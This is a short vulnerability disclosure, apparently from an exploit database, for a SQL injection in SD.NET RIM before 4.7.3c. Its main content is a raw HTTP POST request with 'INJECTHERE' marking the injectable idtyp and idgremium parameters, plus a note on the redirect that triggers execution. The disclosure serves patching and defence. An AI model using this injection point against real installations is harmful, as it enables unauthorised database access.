SD.NET RIM 4.7.3c - 'idtyp' SQL Injection

# Exploit Title: SD.NET RIM 4.7.3c - 'idtyp' SQL Injection
# Date: 2019-11-05
# Exploit Author: Fabian Mosch (r-tec IT Security GmbH)
# Vendor Homepage: https://www.sitzungsdienst.net/
# Software Link: https://www.sitzungsdienst.net/2018/12/sd-net-rim-4-7-3-veroeffentlicht/
# Version: < 4.7.3c
# Tested on: < 4.7.3c
# CVE : N/A

# SD.NET RIM before version 4.7.3c is vulnerable to a SQL-Injection vulnerability. To Exploit the vulnerability 
# an attacker has to inject arbitrary SQL Statements in the following POST parameters:

POST /vorlagen/?__=SOMEBASE64 HTTP/1.1
Host: VulnerableHost.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: https://vulnerablehost.com
Connection: close
Referer: https://vulnerablehost.com/vorlagen/?__=BASE64
Cookie: PHPSESSID250=SESSIONID
Upgrade-Insecure-Requests: 1

reqid=f48de4c24ae1b72dd37ebde6f6b40544&nummer=t&idtyp=-1’INJECTHERE&idgremium=-1’INJECTHERE&datefrom=TT.MM.JJJJ&dateto=TT.MM.JJJJ&csrftoken=CSRFToken

# The attacker is then redirected with a 302 redirect to an URL /templates/?__=NEWBASE64 as GET request. 
# By issuing the second request the arbitrary SQL-Statement gets executed.